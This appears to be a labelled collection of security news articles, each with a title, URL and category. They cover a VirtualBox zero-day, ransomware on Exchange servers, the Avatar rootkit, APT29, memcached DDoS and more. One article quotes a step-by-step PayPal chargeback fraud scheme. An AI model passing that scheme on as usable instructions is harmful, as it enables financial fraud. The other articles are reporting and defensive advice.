The vulnerability occurs due to memory corruption issues and affects Intel PRO / 1000 MT Desktop (82540EM) network card (E1000) when the network mode is set to NAT (Network Address Translation).
The flaw is independent of the type of operating system being used by the virtual and host machines because it resides in a shared code base.
VirtualBox Zero-Day Exploit and Demo Video Released
Sergey Zelenyuk published Wednesday a detailed technical explanation of the zero-day flaw on GitHub, which affects all current versions (5.2.20 and prior) of VirtualBox software and is present on the default Virtual Machine (VM) configuration.
According to Zelenyuk, the vulnerability allows an attacker or a malicious program with root or administrator rights in the guest OS to escape and execute arbitrary code in the application layer (ring 3) of the host OS, which is used for running code from most user programs with the least privileges.
Following successful exploitation, the researcher believes an attacker can also obtain kernel privileges (ring 0) on the host machine by exploiting other vulnerabilities.
"The E1000 has a vulnerability allowing an attacker with root/administrator privileges in a guest to escape to a host ring 3. Then the attacker can use existing techniques to escalate privileges to ring 0 via /dev/vboxdrv," Zelenyuk said.
Along with the details of the zero-day vulnerability, Zelenyuk also wrote down the complete exploit chain and released a video demonstration of the attack on Vimeo.
No Security Patch Yet Available, Here's How to Protect Yourself
The researcher claims his exploit is "100% reliable." Zelenyuk tested his exploit on Ubuntu version 16.04 and 18.04 x86-64 guests, but he believes the exploit also works against the Windows platform.
While the exploit released by the researcher is not simple to execute, full details of how to execute it are provided.
Zelenyuk decided to publicly disclose the zero-day vulnerability and the exploit due to his "disagreement with [the] contemporary state of infosec, especially of security research and bug bounty," which he experienced over a year ago when he responsibly reported another VirtualBox flaw to Oracle.
The researcher also expressed his displeasure with the "delusion of grandeur and marketing bullshit" with the vulnerability release process by "naming vulnerabilities and creating websites for them," and security researchers putting themselves in front of "a thousand conferences in a year."
So, this time the researcher publicly disclosed the flaw, and thus, there is no patch yet available.
However, until it is patched, users can protect themselves against potential cyber attacks by changing the network card of their "virtual machines to PCnet (either of two) or to Paravirtualized Network."
Though the researcher stressed that the above approach is more secure, in case if you are unable to do that, you can change the mode from NAT to another one.
| Vulnerability |
LoopHole in PayPal Terms Allows Anyone to Double PayPal Money Endlessly | https://thehackernews.com/2014/06/loophole-in-paypal-terms-allows-anyone.html | Many of us own a PayPal account for easy online transactions, but most of us don't have balance in our PayPal Account. But what will happen if your money doubles, triple...or even more folds in just some couple of hours ?? Sounds cherishing!!
A loophole in the popular digital payment and money transfer service, PayPal allows its users to double the money in their account and that too endlessly. That means with only $50 in your PayPal account, you can make it to $100, then $100 to directly $200 and so on.
An eBay owned company, PayPal provides a faster and safer way to pay and get paid. The service gives people simpler ways to send money without sharing financial information, with over 148 million active accounts in 26 currencies and across 193 markets, thereby processing more than 9 million payments daily.
According to TinKode a.k.a Razvan Cernaianu, who claimed to have found this loophole in the PayPal service that actually resides in its Chargeback Process which could be exploited to do fraud with PayPal.
Tinkode is a convicted former Romanian hacker, who was arrested in year 2012 for attacking NASA, Oracle, Pentagon, U.S. Army and many more high profile websites and that time he was ordered to pay damages totalling more than US$120,000.
"A Chargeback, also known as a reversal, occurs when a buyer asks a credit card company to reverse a transaction that has already cleared" and this could be done when the buyer's credit card number is stolen and used fraudulently or if seller tries to fraud.
He noticed the flaw while making a transaction using PayPal with a person back in 2010, who was trying to scam him with his money using the same chargeback process. To avoid paying charges, he transfer all his money from his temporary account to his another, real PayPal account. But, when he checked after a month, he noticed that his account balance was negative i.e. $50.
Exactly this trick he demonstrated to PayPal security team, which allows anyone to double their amount endlessly. In a proof of concept explanation he detailed that by making three separate PayPal account with one real and other two verified using Virtual Credit Card (VCC) and Virtual Bank Account (VBA).
POC Scenario:
"So for example, you have 500$ on your account. You transfer the money to the second account with the pretext of buying a phone. From the second account you again transfer the money to the third account as a gift. After 24 hours, use the charge-back function from the first account (the real one) to get the money back, with the excuse that the phone did not arrive on time. PayPal will initiate a process where both sides bring evidence for their defense. Obviously you will only send evidence from the first account showing that you were scammed. At the end of the trial the money will be restored to the primary account and the second account will have a negative balance of -500$. This way, you doubled the initial amount of money because you still have 500$ in the third account. As the second account is only a virtual one, it will not have real money from which PayPal can extract. Therefore you are left with 500$ restored by PayPal, and 500$ in your third account."
TinKode already reported the flaw to PayPal Security team for bug bounty and they admitted it as a flaw in their Terms of Service (ToS), but not as a web application vulnerability. "While the abuse described here is possible in our system, repeated abusive behavior by the same and/or linked account(s) is addressed." PayPal replied.
TinKode is not eligible for bug bounty, but we thank him for exposing this fraud technique that could be already in use by some criminals to generate money illegally. Anyone with little technical knowledge can reproduce this trick, but readers are advised to do not try to use this trick as PayPal could ban your account permanently.
| Vulnerability |
Black Kingdom Ransomware Hunting Unpatched Microsoft Exchange Servers | https://thehackernews.com/2021/03/black-kingdom-ransomware-hunting.html | More than a week after Microsoft released a one-click mitigation tool to mitigate cyberattacks targeting on-premises Exchange servers, the company disclosed that patches have been applied to 92% of all internet-facing servers affected by the ProxyLogon vulnerabilities.
The development, a 43% improvement from the previous week, caps off a whirlwind of espionage and malware campaigns that hit thousands of companies worldwide, with as many as 10 advanced persistent threat (APT) groups opportunistically moving quickly to exploit the bugs.
According to telemetry data from RiskIQ, there are roughly 29,966 instances of Microsoft Exchange servers still exposed to attacks, down from 92,072 on March 10.
While Exchange servers were under assault by multiple Chinese-linked state-sponsored hacking groups prior to Microsoft's patch on March 2, the release of public proof-of-concept exploits fanned a feeding frenzy of infections, opening the door for escalating attacks like ransomware and hijacking web shells planted on unpatched Microsoft Exchange servers to deliver cryptominers and other malware.
"To make matters worse, proof-of-concept automated attack scripts are being made publicly available, making it possible for even unskilled attackers to quickly gain remote control of a vulnerable Microsoft Exchange Server," cybersecurity firm F-Secure noted in a write-up last week.
In the weeks since Microsoft first released its patches, at least two different strains of ransomware have been discovered as leveraging the flaws to install "DearCry" and "Black Kingdom."
Cybersecurity firm Sophos' analysis of Black Kingdom paints the ransomware as "somewhat rudimentary and amateurish in its composition," with the attackers abusing the ProxyLogon flaw to deploy a web shell, utilizing it to issue a PowerShell command that downloads the ransomware payload, which encrypts the files and demands a bitcoin ransom in exchange for the private key.
"The Black Kingdom ransomware targeting unpatched Exchange servers has all the hallmarks of being created by a motivated script-kiddie," Mark Loman, director of engineering at Sophos, said. "The encryption tools and techniques are imperfect but the ransom of $10,000 in bitcoin is low enough to be successful. Every threat should be taken seriously, even seemingly low-quality ones."
The volume of attacks even before the public disclosure of ProxyLogon has prompted experts to investigate if the exploit was shared or sold on the Dark Web, or a Microsoft partner, with whom the company shared information about the vulnerabilities through its Microsoft Active Protections Program (MAPP), either accidentally or purposefully leaked it to other groups.
| Malware |
New York, Canada, Ireland Launch New Investigations Into Facebook Privacy Breaches | https://thehackernews.com/2019/04/facebook-privacy-investigation.html | Facebook has a lot of problems, then there are a lot of problems for Facebook—and both are not going to end anytime sooner.
Though Facebook has already set aside $5 billion from its revenue to cover a possible fine the company is expecting as a result of an FTC investigation over privacy violations, it seems to be just first installment of what Facebook has to pay for continuously ignoring users' privacy.
This week, Facebook has been hit with three new separate investigations from various governmental authorities—both in the United States and abroad—over the company's mishandling of its users' data.
New York Attorney General to Investigate Facebook Email Collection Scandal
New York Attorney General is opening an investigation into Facebook's unauthorized collection of the email contacts of more than 1.5 million users during site registration without their permission.
Earlier this month, Facebook was caught practicing the worst ever user-verification mechanism by asking users new to its social network platform for their email account passwords to verify their identity.
However, just last week it turned out that the social network "unintentionally" uploaded email contacts from up to 1.5 million new users on its servers, without their consent or knowledge, Facebook admitted while saying the data was reportedly used to "build Facebook's web of social connections and recommend friends to add."
According to the New York Attorney General Letitia James, the harvested email addresses may have exposed hundreds of millions of Facebook users to targeted advertisements.
"Facebook has repeatedly demonstrated a lack of respect for consumer information while at the same time profiting from mining that data," James said in a statement, adding that now it's time that the social media company should "held accountable for how it handles consumers' personal information."
In response to the news, a Facebook spokesperson told The NY Times that the company is "in touch with the New York State attorney general's office and are responding to their questions on this matter."
Ireland Investigating into Facebook Over Plaintext Passwords Scandal
The Irish Data Protection Commission had begun an investigation into a separate Facebook's privacy bunder exposed last month when the social network revealed that it left hundreds of millions of passwords of Facebook, Facebook Lite and Instagram users exposed in plain text on company servers.
At the time, it was reported that the incident exposed "tens of thousands" passwords of Instagram users in plaintext, while just last week it was revealed that the actual number of affected Instagram users were not in hundreds of thousands but millions.
The exposed passwords were potentially dated back to 2012 and were accessible to up to 2,000 Facebook employees.
In a statement on Thursday, the Irish Data Protection Commissioner said it has launched "a statutory inquiry in relation to this issue to determine whether Facebook has complied with its obligations under relevant provisions" of the European Union's General Data Protection Regulation (GDPR) designed to protect people's data.
Canada to Sue Facebook Over Cambridge Analytica Scandal
Canadian regulators are also suing Facebook for allegedly violating the country's privacy laws following their investigation into the March 2018's Cambridge Analytica scandal and its impact on Canadians.
A joint report published Thursday from Canadian privacy commissioner Daniel Therrien and his British Columbia counterpart said lax security practices at the company allowed personal information of hundreds of thousands of Canadians to be used for political purposes.
The watchdogs started investigating Facebook last year after it was revealed that a UK political consultancy Cambridge Analytica harvested data from about 87 million users and then used it for political gain without their knowledge or permission.
The report said Facebook committed a "major breach of trust" and "abdicated its responsibility for personal information under its control, effectively shifting that responsibility to users and apps."
The United States FTC is also investigating Facebook over the Cambridge Analytica scandal, and the company has already kept aside $5 billion from its revenue in anticipation of the settlement with the commission.
| Data_Breaches |
Mysterious Avatar rootkit with API, SDK, and Yahoo Groups for C&C communication | https://thehackernews.com/2013/05/mysterious-avatar-rootkit-with-api-sdk.html | Early 2012 ESET company a mysterious malware, dubbed the Avatar rootkit (Win32/Rootkit.Avatar), advertised in the underground forums by Russian cyber crime.
"We present you here previously announced product. In connection with work on other projects, we moved the release date for the public from May to February 2013th 2012go.Now nuclear rootkit AVATAR is available for rental."
Despite the malware was described months ago it was not found and published until now, in March ESET researchers detected two droppers with different C&C servers and having different compilation time stamps as showed in the following pictures:
The Avatar rootkit appears very sophisticated, it uses two different infection techniques, the first in the dropper so as to bypass detections by HIPS, and the second one in the rootkit driver to allow the malware to be alive after system reboot, the instance detected works only on x86 systems.
The 2 level dropper for Avatar rootkit works in conjunction, the first one implements LZMA decompression for the second level dropper. Driver module and second level dropper are unique in every instance of malware thanks to a random names generator names for mutexes/events in the first level dropper.
To the second level dropper is assigned the function of escalate privilege on target system, the dropper uses two different techniques, the exploitation of the MS11-080 vulnerability with code as a public exploit from Metasploit Framework with minor changes, and COM Elevation (UAC whitelist).
The following a diagram that shows the process implemented by dropper:
Most interesting part of the exploit code of Avatar rootkit is the steps taken after exploitation, kernel-mode shellcode is in fact executed to load malicious driver, the rootkit driver is not stored on the hard drive and loads only from a memory region.
The Avatar rootkit implements a technique for loading the driver by system driver infection that appeared very effective for bypassing victim's defense, and allows the loads other kernel-mode modules exploiting the malicious system driver.
The post reports:
"In order to perform its infection, Avatar randomly chooses a driver and checks its name against a blacklist that varies for every Windows versions." "The Avatar rootkit driver is able to infect several system drivers without changing the original driver's file size."
Once loaded the Avatar rootkit driver, the malicious code executes an algorithm for infecting system drivers so as to survive after reboot, the malware is also able to detect the presence of a virtual machine environment thanks to a sophisticated technique that query BIOS to check for some specific strings related to principal machines available on the market such as VirtualBox and VMware.
The malware uses a hidden file system to store the user-mode payload module and also additional files, all the data are encrypted using a custom symmetric cipher. The hidden file storage is also used by Avatar rootkit to store additional user-mode and kernel-mode modules that malware can download and execute. Avatar rootkit doesn't store malicious modules in any standard NTFS storage, except for infected system drivers.
The principal functionality of the malware are:
command center communications
parsing configuration information
read/write into hidden file storage
communicating with the rootkit driver
installing additional user-mode and kernel-mode modules
The post highlight the flexibility of the malicious agent:
"Of course, this means the initial infection can be the starting point of a variety of malicious activities based on the modules that deployed. In our case the payload component avcmd.dll was injected into svchost.exe system process which started communicating with C&C IP addresses stored in the configuration file. "
Another interesting feature implemented by authors of the rootkit in the protection of communications with the command center with a custom encryption algorithm which output is base64-encoded, Avatar rootkit has an additional way of communicating with the C&C server searching for messages in Yahoo groups using special parameters. The technique is not new and is very efficient to protect the malware over sinkhole attempts of security firms, because information about C&C's domains is encrypted using an RSA asymmetric algorithm.
On the use of Yahoo Groups as C&C the report states:
"The group description is encrypted with an RSA algorithm and a 1024-bit private key. It is possible to decrypt this data with the public key stored in the configuration file. We suppose this information is to be found in the encrypted message used for returning control for a botnet without an active C&C."
But Avatar rootkit appears a very complex and articulated project, it is accompanied by a list of API for developing additional components based on the Avatar Runtime Library, a special SDK for developing additional user-mode components which allow communication with the Avatar rootkit driver.
Win32/Rootkit.Avatar is considerable a sophisticated rootkit family having many interesting features to avoid detection by security software, due this reason security experts believe that the agent has been developed for long term infection by the system executing the attack.
Avatar rootkit may hold many surprises in the next future.
| Malware |
FBI, CISA Uncover Tactics Employed by Russian Intelligence Hackers | https://thehackernews.com/2021/04/fbi-cisa-uncover-tactics-employed-by.html | The U.S. Cybersecurity and Infrastructure Security Agency (CISA), Department of Homeland Security (DHS), and the Federal Bureau of Investigation (FBI) on Monday published a new joint advisory as part of their latest attempts to expose the tactics, techniques, and procedures (TTPs) adopted by the Russian Foreign Intelligence Service (SVR) in its attacks targeting the U.S and foreign entities.
By employing "stealthy intrusion tradecraft within compromised networks," the intelligence agencies said, "the SVR activity—which includes the recent SolarWinds Orion supply chain compromise—primarily targets government networks, think tank and policy analysis organizations, and information technology companies and seeks to gather intelligence information."
The cyber actor is also being tracked under different monikers, including Advanced Persistent Threat 29 (APT29), the Dukes, CozyBear, and Yttrium. The development comes as the U.S. sanctioned Russia and formally pinned the SolarWinds hack and related cyberespionage campaign to government operatives working for SVR.
APT29, since emerging on the threat landscape in 2013, has been tied to a number of attacks orchestrated with an aim to gain access to victim networks, move within victim environments undetected, and extract sensitive information. But in a noticeable shift in tactics in 2018, the actor moved from deploying malware on target networks to striking cloud-based email services, a fact borne by the SolarWinds attack, wherein the actor leveraged Orion binaries as an intrusion vector to exploit Microsoft Office 365 environments.
This similarity in post-infection tradecraft with other SVR-sponsored attacks, including in the manner the adversary laterally moved through the networks to obtain access to email accounts, is said to have played a huge role in attributing the SolarWinds campaign to the Russian intelligence service, despite a notable departure in the method used to gain an initial foothold.
"Targeting cloud resources probably reduces the likelihood of detection by using compromised accounts or system misconfigurations to blend in with normal or unmonitored traffic in an environment not well defended, monitored, or understood by victim organizations," the agency noted.
Among some of the other tactics put to use by APT29 are password spraying (observed during a 2018 compromise of a large unnamed network), exploiting zero-day flaws against virtual private network appliances (such as CVE-2019-19781) to obtain network access, and deploying a Golang malware called WELLMESS to plunder intellectual property from multiple organizations involved in COVID-19 vaccine development.
Besides CVE-2019-19781, the threat actor is known to gain initial footholds into victim devices and networks by leveraging CVE-2018-13379, CVE-2019-9670, CVE-2019-11510, and CVE-2020-4006. Also in the mix is the practice of obtaining virtual private servers via false identities and cryptocurrencies, and relying on temporary VoIP telephone numbers and email accounts by making use of an anonymous email service called cock.li.
"The FBI and DHS recommend service providers strengthen their user validation and verification systems to prohibit misuse of their services," the advisory read, while also urging businesses to secure their networks from a compromise of trusted software.
| Cyber_Attack |
Here's How to Decrypt Hydracrypt & Umbrecrypt Ransomware Files | https://thehackernews.com/2016/02/decrypt-ransomware-files.html | Over the last few years, we have seen several types of Ransomware malware that demand a whopping amount of money from users for the retrieval of their locked, compromised sensitive files.
We have also witnessed the birth of decryption solution for some of the Ransomware like Cryptolocker (partial), Coinvault, Rescue Kit.
One more solution has recently been released for decryption of newly emerging ransomware, dubbed as Hydracrypt and Umbrecrypt that are propagated through Angler Exploit Kit.
Both of the malware belong to CrypBoss ransomware family.
The source code of CrypBoss Ransomware was leaked last year on Pastebin, which was later analyzed by Fabian Wosar, a security researcher at Emsisoft.
With the help of CrypBoss Source code, Wosar was successfully able to crack the encryption algorithm of the ransomware and quickly made the decryption tool for CrypBoss and its variants (Hydracrypt and Umbrecrypt).
It is found that both Hydracrypt and Umbrecrypt share the same genealogy which got traced back to CrypBoss Ransomware with small modifications in the implementation by its authors.
"Unfortunately the changes made by the HydraCrypt and UmbreCrypt authors cause up to 15 bytes at the end of the file to be damaged irrecoverably" Wosar stated.
The damaged bytes in the encrypted files are trivial (in most of the cases) since it would be used as a buffer data or some trailing bytes, which could easily be re-build by using any file repairing tool (for those 15 bytes).
This doesn't affect much of the decryption process as 99 percent of the files are retrieved without any harm using the released decryptor tool that is available Free to download.
How to Decrypt Ransomware Files?
Double clicking the decryptor executable would initialize the decryption process, and you would get the key once the task gets completed. The time taken to crack the encryption would also depend upon your system's Flip-Flop power.
Once the decryption key is generated, it is better to save it as a hard copy (by writing down in the paper). Now you can run the decryptor tool and select the intended folders to get unlocked. Enter the key once the decryptor tool prompts for it.
To avoid a hotch-potch, users are advised to:
Run the decryptor for a small number of files initially to check whether the decryption procedure is being executed properly.
This would deliver the file ensurity and saves your time.
Make sure whether enough space is present in the hard-drive, so as to take place the decryption.
How to Ensure your Decrypted Data is Legit?
However, the security team also stated that the result of the Decryption might not be correct as the ransomware, unfortunately, does not leave any information about the original file behind.
To ensure the proper file recovery, initially you have to select the encrypted file along with its original version (somewhere in your cloud or anywhere) and pass it to the decryptor executable by a simple drag-and-drop.
[Note: If you haven't found such, then users can also get a random encrypted file and a random PNG image off the Internet.]
If the resultant output is legit, then you can carry out the same task with the remaining files. As the same algorithm is being followed in the remaining encrypted files, then you would get your files back as normal.
| Malware |
15-Year-Old Schoolboy Posed as CIA Chief to Hack Highly Sensitive Information | https://thehackernews.com/2018/01/crackas-with-attitude-hacker.html | Remember "Crackas With Attitude"?
A notorious pro-Palestinian hacking group behind a series of embarrassing hacks against United States intelligence officials and leaked the personal details of 20,000 FBI agents, 9,000 Department of Homeland Security officers, and some number of DoJ staffers in 2015.
Believe or not, the leader of this hacking group was just 15-years-old when he used "social engineering" to impersonate CIA director and unauthorisedly access highly sensitive information from his Leicestershire home, revealed during a court hearing on Tuesday.
Kane Gamble, now 18-year-old, the British teenager hacker targeted then CIA director John Brennan, Director of National Intelligence James Clapper, Secretary of Homeland Security Jeh Johnson, FBI deputy director Mark Giuliano, as well as other senior FBI figures.
Between June 2015 and February 2016, Gamble posed as Brennan and tricked call centre and helpline staff into giving away broadband and cable passwords, using which the team also gained access to plans for intelligence operations in Afghanistan and Iran.
The teenager also taunted his victims and their families, released their personal details, bombarded them with calls and messages, downloaded and installed pornography onto their computers and took control of their iPads and TV screens.
He also made hoax calls to Brennan's home and took control of his wife's iPad.
At one point, Gamble also sent DHS secretary Johnson a photograph of his daughter and said he would f*** her, phoned his wife, leaving a voicemail message which said: "Hi Spooky, am I scaring you?," and even managed to get the message "I own you" on the couple's home television.
Gamble was arrested in February 2016 at his council home in Coalville and last October he pleaded guilty to 8 charges of "performing a function with intent to secure unauthorised access" and 2 charges of "unauthorised modification of computer material."
Gamble said he targeted the US government because he was "getting more and more annoyed about how corrupt and cold-blooded the US Government" was and "decided to do something about it."
Gamble's defence said he was technically gifted but emotionally immature and has an autistic spectrum disorder, at the time of his offending, he had the mental development of a 12 or 13-year-old.
Also, the defence said, at no point did Gamble attempt to profit from his actions.
Out of 10 counts, Gamble previously admitted 8 charges of performing a function with intent to secure unauthorised access.
The teenager will be sentenced when the hearing resumes at a later date.
Two other members of Crackas With Attitude hacking group, Andrew Otto Boggs and Justin Gray Liverman, were arrested by FBI in September 2016 and had already been sentenced to five years in federal prison.
| Cyber_Attack |
1.7 Tbps DDoS Attack — Memcached UDP Reflections Set New Record | https://thehackernews.com/2018/03/ddos-attack-memcached.html | The bar has been raised.
As more amplified attacks were expected following the record-breaking 1.35 Tbps Github DDoS attack, someone has just set a new record after only four days — 1.7 Tbps DDoS attack.
Network security and monitoring company Arbor Networks claims that its ATLAS global traffic and DDoS threat data system have recorded a 1.7Tbps reflection/amplification attack against one of its unnamed US-based customer's website.
Similar to the last week's DDoS attack on GitHub, the massive bandwidth of the latest attack was amplified by a factor of 51,000 using thousands of misconfigured Memcached servers exposed on the Internet.
Memcached, a popular open source distributed memory caching system, came into news earlier last week when researchers detailed how attackers could abuse it to launch amplification DDoS attack by sending a forged request to the targeted Memcached server on port 11211 using a spoofed IP address that matches the victim's IP.
A few bytes of the request sent to the vulnerable server can trigger tens of thousands of times bigger response against the targeted IP address, resulting in a powerful DDoS attack.
Meanwhile, researchers also noted that cybercriminals have started weaponizing the DDoS attacks through vulnerable memcached servers to extort money from victims.
Following last week's 1.3 Tbps DDoS attack against GitHub, Akamai said its customers have been receiving extortion messages delivered alongside the typically "junk-filled" attack payloads, asking them for 50 XMR (Monero coins), valued at over $15,000.
"While the internet community is coming together to shut down access to the many open memcached servers out there, the sheer number of servers running memcached openly will make this a lasting vulnerability that attackers will exploit," Arbor Networks said in a blog post.
Reflection/amplification attacks are not new. Attackers have previously used reflection/amplification DDoS attack techniques to exploit flaws in DNS, NTP, SNMP, SSDP, CLDAP, Chargen and other protocols in an attempt to maximize the scale of their cyber attacks.
However, the latest attack vector involves thousands of misconfigured Memcached servers, many of which are still exposed on the Internet and could be exploited to launch potentially more massive attacks soon against other targets. So expect to see more such attacks in coming days.
To prevent Memcached servers from being abused as reflectors, we urge users to install a firewall that should provide access to memcached servers only from the local network.
Administrators should also consider avoiding external traffic to the ports used by memcached (for example 11211 port used by default), and block or rate-limiting UDP or completely disable UDP support if not in use.
| Cyber_Attack |
Hacker Sentenced to 46 Months in Prison for Spreading Linux Malware | https://thehackernews.com/2017/08/linux-malware-hacking.html | A Russian man accused of infecting tens of thousands of computer servers worldwide to generate millions in fraudulent payments has been imprisoned for 46 months (nearly four years) in a United States' federal prison.
41-year-old Maxim Senakh, of Velikii Novgorod, was arrested by Finnish police in August 2015 for his role in the development and maintenance of the infamous Linux botnet called Ebury that siphoned millions of dollars from victims worldwide.
Senakh was extradited to the United States in February 2016 to face charges and pleaded guilty in late March this year after admitting of creating a massive Ebury botnet and personally being profited from the scheme.
First spotted in 2011, Ebury is an SSH backdoor Trojan for Linux and Unix-style operating systems, such as FreeBSD or Solaris, which gives attackers full shell control of an infected machine remotely even if the password for affected user account is changed regularly.
Senakh and his associates used the malware to build an Ebury botnet network of thousands of compromised Linux systems, which had the capacity of sending over 35 million spam messages and redirecting more than 500,000 online visitors to exploit kits every day.
Senakh fraudulently generated millions of dollars in revenue running spam campaigns and committing advertising click frauds.
"Working within a massive criminal enterprise, Maxim Senakh helped create a sophisticated infrastructure that victimized thousands of Internet users across the world," said Acting U.S. Attorney Brooker.
"As society becomes more reliant on computers, cyber criminals like Senakh pose a serious threat. This Office, along with our law enforcement partners, is committed to detecting and prosecuting cyber criminals no matter where they reside."
Ebury first came into headlines in 2011 after Donald Ryan Austin, 27, of El Portal, Florida, installed the Trojan on multiple servers owned by kernel.org and the Linux Foundation, which maintain and distribute the Linux operating system kernel.
Austin, with no connection to the Ebury criminal gang, was arrested in September last year and was charged with 4 counts of intentional transmission causing damage to a protected computer.
Senakh was facing up to a combined 30 years in prison, after pleading guilty to conspiracy to commit wire fraud as well as violate the Computer Fraud and Abuse Act.
However, a US judge on Thursday sentenced Senakh to 46 months in prison, the Department of Justice announced on Thursday. The case was investigated by the Federal Bureau of Investigation's field office in Minneapolis.
Senakh will be deported back to Russia following his release from the U.S. prison.
| Malware |
Worst Data Breach in German History, 18 Million Email Passwords Compromised | https://thehackernews.com/2014/04/worst-data-breach-in-german-history-18.html | Germany has confirmed its biggest Data theft in the country's history with usernames and passwords of some 18 million email accounts stolen and compromised by hackers.
The Story broke by the German press, Der Spiegel on Thursday, when German Authorities revealed another mass hacking of private data belonged to German citizens and major Internet companies both in Germany and abroad.
16 MILLION AND NOW 18 MILLION
Authorities in the northwestern city of Verden unearthed a treasure of personal information, a list of about 18 million stolen email addresses and passwords, and seized it just after only two months from the previous major data breach, when researchers came across 16 million compromised email accounts of German users while conducting research on a botnet, a network of computers infected with malware.
The accounts were compromised by hackers in the mid of January, and Der Spiegel suggests that the same group of hackers is responsible for both thefts and that they may be based in one of the Baltic countries.
MILLION ON SPAM .. SHOP... THEFT
According to Investigators, some of the accounts are used to send spam emails and some combinations of email and password are used for online shopping portals, as these mass of stolen personal information could also be used to obtain the financial details of users account.
To help in securing the Internet users, German authorities warned to take additional security measures to prevent cyber criminals using their data while shopping online.
"It is suspected that these stolen records are being actively misused," said Lutz Gaebel, spokesman of the prosecutor's office in Verden.
SOURCE OF DATA
Till now, It has not been revealed by the investigators that how much they know about this massive data Breach and How the attackers get their evil hands on the personal data of over 18 million users. Lutz Gaebel declined to give more information due to the ongoing investigation.
It is estimated that at least three million of the accounts belonged to German citizens and some of the compromised email accounts have international domain extensions such as '.COM'. But in real, the number could be much larger than the visible one as the investigation is ongoing.
The German prosecutor investigating the latest major data theft informed the country's IT watchdog, Federal Office for Information Security (BSI), to introduce additional security measures to help the Internet users.
| Data_Breaches |
Patch Tuesday: Microsoft Releases Update to Fix 53 Vulnerabilities | https://thehackernews.com/2017/11/microsoft-patch-tuesday.html | It's Patch Tuesday—time to update your Windows devices.
Microsoft has released a large batch of security updates as part of its November Patch Tuesday in order to fix a total of 53 new security vulnerabilities in various Windows products, 19 of which rated as critical, 31 important and 3 moderate.
The vulnerabilities impact the Windows OS, Microsoft Office, Microsoft Edge, Internet Explorer, Microsoft Scripting Engine, .NET Core, and more.
At least four of these vulnerabilities that the tech giant has now fixed have public exploits, allowing attackers to exploit them easily. But fortunately, none of the four are being used in the wild, according to Gill Langston at security firm Qualys.
The four vulnerabilities with public exploits identified by Microsoft as CVE-2017-8700 (an information disclosure flaw in ASP.NET Core), CVE-2017-11827 (Microsoft browsers remote code execution), CVE-2017-11848 (Internet Explorer information disclosure) and CVE-2017-11883 (denial of service affecting ASP.NET Core).
Potentially Exploitable Security Vulnerabilities
What's interesting about this month's patch Tuesday is that none of the Windows OS patches are rated as Critical. However, Device Guard Security Feature Bypass Vulnerability (CVE-2017-11830) and Privilege Elevation flaw (CVE-2017-11847) are something you should focus on.
Also, according to an analysis of Patch Tuesday fixes by Zero-Day Initiative, CVE-2017-11830 and another flaw identified as CVE-2017-11877 can be exploited to spread malware.
"CVE-2017-11830 patches a Device Guard security feature bypass vulnerability that would allow malware authors to falsely authenticated files," Zero-Day Initiative said.
"CVE-2017-11877 fixes an Excel security feature bypass vulnerability that fails to enforce macro settings, which are often used by malware developers."
The tech giant also fixed six remote code execution vulnerabilities exist "in the way the scripting engine handles objects in memory in Microsoft browsers."
Microsoft identified these vulnerabilities as CVE-2017-11836, CVE-2017-11837, CVE-2017-11838, CVE-2017-11839, CVE-2017-11871, and CVE-2017-11873, which could corrupt memory in such a way that attackers could execute malicious code in the context of the current user.
"In a web-based attack scenario, an attacker could host a specially crafted website that is designed to exploit the vulnerability through Microsoft Edge and then convince a user to view the website," Microsoft said. "These websites could contain specially crafted content that could exploit the vulnerability."
17-Year-Old MS Office Flaw Lets Hackers Install Malware
Also, you should be extra careful when opening files in MS Office.
All versions of Microsoft Office released in the past 17 years found vulnerable to remote code execution flaw (CVE-2017-11882) that works against all versions of Windows operating system, including the latest Microsoft Windows 10 Creators Update.
However, due to improper memory operations, the component fails to properly handle objects in the memory, corrupting it in such a way that the attacker could execute malicious code in the context of the logged-in user.
Exploitation of this vulnerability requires opening a specially crafted malicious file with an affected version of Microsoft Office or Microsoft WordPad software, which could allow attackers to remotely install malware on targeted computers.
Adobe Patch Tuesday: Patches 62 Vulnerabilities
Besides fixing vulnerabilities in its various products, Microsoft has also released updates for Adobe Flash Player.
These updates correspond with Adobe Update APSB17-33, which patches 62 CVEs for Acrobat and Reader alone. So, Flash Player users are advised to ensure that they update Adobe across their environment to stay protected.
It should also be noted that last Patch Tuesday, Microsoft quietly released the patch for the dangerous KRACK vulnerability (CVE-2017-13080) in the WPA2 wireless protocol.
Therefore, users are also recommended to make sure that they have patched their systems with the last month's security patches.
Alternatively, users are strongly advised to apply November security patches as soon as possible in order to keep hackers and cybercriminals away from taking control of their computers.
For installing security updates, just head on to Settings → Update & security → Windows Update → Check for updates, or you can install the updates manually.
| Vulnerability |
Nintendo Switches Hacked to Run Linux—Unpatchable Exploit Released | https://thehackernews.com/2018/04/nintendo-switch-linux-hack.html | Two separate teams of security researchers have published working proof-of-concept exploits for an unpatchable vulnerability in Nvidia's Tegra line of embedded processors that comes on all currently available Nintendo Switch consoles.
Dubbed Fusée Gelée and ShofEL2, the exploits lead to a coldboot execution hack that can be leveraged by device owners to install Linux, run unofficial games, custom firmware, and other unsigned code on Nintendo Switch consoles, which is typically not possible.
Both exploits take advantage of a buffer overflow vulnerability in the USB software stack of read-only boot instruction ROM (IROM/bootROM), allowing unauthenticated arbitrary code execution on the game console before any lock-out operations (that protect the chip's bootROM) take effect.
The buffer overflow vulnerability occurs when a device owner sends an "excessive length" argument to an incorrectly coded USB control procedure, which overflows a crucial direct memory access (DMA) buffer in the bootROM, eventually allowing data to be copied into the protected application stack and giving attackers the ability to execute code of their choice.
In other words, a user can overload a Direct Memory Access (DMA) buffer within the bootROM and then execute it to gain high-level access on the device before the security part of the boot process comes into play.
"This execution can then be used to exfiltrate secrets and to load arbitrary code onto the main CPU Complex (CCPLEX) application processors at the highest possible level of privilege (typically as the TrustZone Secure Monitor at PL3/EL3)," hardware hacker Katherine Temkin of ReSwitched, who released Fusée Gelée, said.
However, the exploitation requires users to have physical access to the hardware console to force the Switch into USB recovery mode (RCM), which can simply be done by pressing and shorting out certain pins on the right Joy-Con connector, without actually opening the system.
By the way, fail0verflow said a simple piece of wire from the hardware store could be used to bridge Pin 10 and Pin 7 on the console's right Joy-Con connector, while Temkin suggested that simply exposing and bending the pins in question would also work.
Once done, you can connect the Switch to your computer using a cable (USB A → USB C) and then run any of the available exploits.
Fusée Gelée, released by Temkin, allows device owners only to display device data on the screen, while she promised to release more scripts and full technical details about exploiting Fusée Gelée on June 15, 2018, unless someone else made them public.
She is also working on customized Nintendo Switch firmware called Atmosphère, which can be installed via Fusée Gelée.
